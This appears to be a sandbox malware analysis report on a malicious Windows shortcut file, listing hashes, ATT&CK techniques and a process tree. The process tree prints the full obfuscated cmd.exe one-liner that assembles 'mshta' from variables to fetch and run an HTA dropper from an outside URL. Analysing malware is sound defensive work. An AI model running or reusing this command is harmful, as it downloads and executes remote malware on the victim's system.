22fc6b797d651766a7121d46eb0cc26a024560502410bad0e53c84f6186f674c

Analysis

max time kernel
148s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:24

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General

Target
DOC-KE53N1.lnk
Size 1KB
Sample260803-qnnb3a1set
SHA256 22fc6b797d651766a7121d46eb0cc26a024560502410bad0e53c84f6186f674c
MD5 74ca29621e2adfc53b72416262a3a1e3
SHA1 caf9b0d90cae97161dde3cd9ed4989c075c4a9ea
SHA512 949846e113f0d7853150320cf7efd917d676a0f8d0ce5a8be09cdf13df6f64ab6988ceb117fe1100375ad428c91d7621976dfbebbf4d48c7147df623148d2115
TLSH
T1943147502FF90614F3B39E7395BB5B1489FBB9969E20C62D0141468C1432A14E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4940	cmd.exe
1196	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 4940	1196	cmd.exe	90
PID 4940 wrote to memory of 5508	4940	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KE53N1.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1196
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set AA=msh&&set yZThf=ta&&start "" !AA!!yZThf! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:5508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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